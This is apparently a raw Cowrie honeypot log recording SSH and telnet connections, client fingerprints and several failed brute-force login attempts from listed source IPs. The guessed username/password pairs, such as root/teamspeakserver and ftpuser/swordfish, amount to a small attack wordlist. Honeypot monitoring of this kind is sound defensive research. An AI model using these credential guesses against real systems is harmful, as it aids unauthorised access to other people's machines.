{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:20.657144Z","src_ip":"20.203.42.204","session":"9be2228cfbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.411070346832275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:21.210549Z","src_ip":"62.210.97.77","session":"84a61d8b0d2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"teamspeakserver","message":"login attempt [root/teamspeakserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:21.358176Z","src_ip":"20.203.42.204","session":"9be2228cfbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35566,"dst_ip":"10.17.0.5","dst_port":23,"session":"44814d8cd92a","protocol":"telnet","message":"New connection: 62.210.97.77:35566 (10.17.0.5:23) [session: 44814d8cd92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:21.548382Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:22.526871Z","src_ip":"20.203.42.204","session":"9be2228cfbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33238410949707,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:22.541807Z","src_ip":"62.210.97.77","session":"da8c75e91f57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.9997444152832,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:26.602187Z","src_ip":"38.54.119.93","session":"2aaa3986cf5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25872,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e370f0be835","protocol":"ssh","message":"New connection: 2.57.121.25:25872 (159.203.135.109:22) [session: 8e370f0be835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:33.329054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:33.333364Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:33.432357Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061982","message":"login attempt [user/24061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:33.902276Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041979","message":"login attempt [user/24041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:35.004234Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011993","message":"login attempt [user/24011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:36.106549Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011978","message":"login attempt [user/24011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:37.208428Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2337","message":"login attempt [user/2337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:38.310536Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:39.413239Z","src_ip":"2.57.121.25","session":"8e370f0be835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54400,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d292a69b4c","protocol":"telnet","message":"New connection: 165.232.131.181:54400 (10.17.0.5:23) [session: d8d292a69b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:43.211553Z"}
{"eventid":"cowrie.session.closed","duration":32.59104776382446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:44.791349Z","src_ip":"62.210.97.77","session":"a9ad39314a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.01346564292908,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:46.174477Z","src_ip":"165.232.131.181","session":"a9cc27b1b99b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.246535778045654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:48.769204Z","src_ip":"62.210.97.77","session":"4910a9485555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42086,"dst_ip":"10.17.0.5","dst_port":23,"session":"7531586ee917","protocol":"telnet","message":"New connection: 38.54.119.93:42086 (10.17.0.5:23) [session: 7531586ee917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:50.393852Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35526,"dst_ip":"10.17.0.5","dst_port":23,"session":"684861e55c18","protocol":"telnet","message":"New connection: 65.60.27.33:35526 (10.17.0.5:23) [session: 684861e55c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:53.142489Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"683d7a733d82","protocol":"telnet","message":"New connection: 65.60.27.33:37398 (10.17.0.5:23) [session: 683d7a733d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:54.696319Z"}
{"eventid":"cowrie.session.closed","duration":7.356118440628052,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:57.749835Z","src_ip":"38.54.119.93","session":"7531586ee917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22923946380615,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:15:57.777479Z","src_ip":"62.210.97.77","session":"44814d8cd92a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43790,"dst_ip":"10.17.0.5","dst_port":23,"session":"068b96fab769","protocol":"telnet","message":"New connection: 65.60.27.33:43790 (10.17.0.5:23) [session: 068b96fab769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:00.467441Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43794,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c4d285b10b","protocol":"telnet","message":"New connection: 65.60.27.33:43794 (10.17.0.5:23) [session: d1c4d285b10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:00.485827Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":43184,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d37a0cdd974","protocol":"ssh","message":"New connection: 181.234.2.36:43184 (159.203.135.109:22) [session: 3d37a0cdd974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:05.633815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:05.638668Z","src_ip":"181.234.2.36","session":"3d37a0cdd974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:05.735925Z","src_ip":"181.234.2.36","session":"3d37a0cdd974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"swordfish","message":"login attempt [ftpuser/swordfish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:06.151667Z","src_ip":"181.234.2.36","session":"3d37a0cdd974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37518,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ccffc60ae6","protocol":"telnet","message":"New connection: 62.210.97.77:37518 (10.17.0.5:23) [session: 98ccffc60ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:06.806604Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:07.253978Z","src_ip":"181.234.2.36","session":"3d37a0cdd974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1193c6ed4b2","protocol":"telnet","message":"New connection: 62.210.97.77:37528 (10.17.0.5:23) [session: e1193c6ed4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:08.043602Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad452e82f8ca","protocol":"ssh","message":"New connection: 172.185.24.228:51798 (10.17.0.5:22) [session: ad452e82f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:09.002668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:09.008213Z","src_ip":"172.185.24.228","session":"ad452e82f8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:09.094345Z","src_ip":"172.185.24.228","session":"ad452e82f8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx#EDC","message":"login attempt [test/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:09.414125Z","src_ip":"172.185.24.228","session":"ad452e82f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54592,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a02b4524f44","protocol":"telnet","message":"New connection: 38.54.119.93:54592 (10.17.0.5:23) [session: 5a02b4524f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:09.911400Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36020,"dst_ip":"10.17.0.5","dst_port":23,"session":"053810150aa3","protocol":"telnet","message":"New connection: 165.232.131.181:36020 (10.17.0.5:23) [session: 053810150aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:10.223096Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:10.498211Z","src_ip":"172.185.24.228","session":"ad452e82f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.301438093185425,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:17.212654Z","src_ip":"38.54.119.93","session":"5a02b4524f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35020,"dst_ip":"159.203.135.109","dst_port":22,"session":"f250d54dbde5","protocol":"ssh","message":"New connection: 80.94.92.182:35020 (159.203.135.109:22) [session: f250d54dbde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:17.464003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:17.689338Z","src_ip":"80.94.92.182","session":"f250d54dbde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:17.693202Z","src_ip":"80.94.92.182","session":"f250d54dbde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:18.622593Z","src_ip":"80.94.92.182","session":"f250d54dbde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e70d22e28e0a","protocol":"telnet","message":"New connection: 65.60.27.33:36302 (10.17.0.5:23) [session: e70d22e28e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:19.910522Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:19.915766Z","src_ip":"80.94.92.182","session":"f250d54dbde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00160527229309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:20.167147Z","src_ip":"172.58.210.74","session":"3a7e5d086942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13980150222778,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:20.351241Z","src_ip":"165.232.131.181","session":"d8d292a69b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00180983543396,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:20.387875Z","src_ip":"172.58.210.74","session":"57c75df2a0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37344,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2800c7789b0","protocol":"telnet","message":"New connection: 62.210.97.77:37344 (10.17.0.5:23) [session: a2800c7789b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:20.436518Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":45193,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2651f529d8c","protocol":"telnet","message":"New connection: 172.58.210.74:45193 (10.17.0.5:23) [session: f2651f529d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:20.915848Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":48581,"dst_ip":"10.17.0.5","dst_port":23,"session":"1781e6ef5d49","protocol":"telnet","message":"New connection: 172.58.210.74:48581 (10.17.0.5:23) [session: 1781e6ef5d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:21.986096Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3bdb9c99037","protocol":"telnet","message":"New connection: 165.232.131.181:39864 (10.17.0.5:23) [session: c3bdb9c99037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:23.287357Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44748,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8992baf714","protocol":"telnet","message":"New connection: 65.60.27.33:44748 (10.17.0.5:23) [session: 2a8992baf714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:28.447295Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41680,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ed27187a144","protocol":"telnet","message":"New connection: 165.232.131.181:41680 (10.17.0.5:23) [session: 6ed27187a144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:30.014980Z"}
{"eventid":"cowrie.session.closed","duration":36.96714401245117,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:30.109535Z","src_ip":"65.60.27.33","session":"684861e55c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44410,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9901f9a5c1","protocol":"telnet","message":"New connection: 165.232.131.181:44410 (10.17.0.5:23) [session: ca9901f9a5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:16:39.381221Z"}
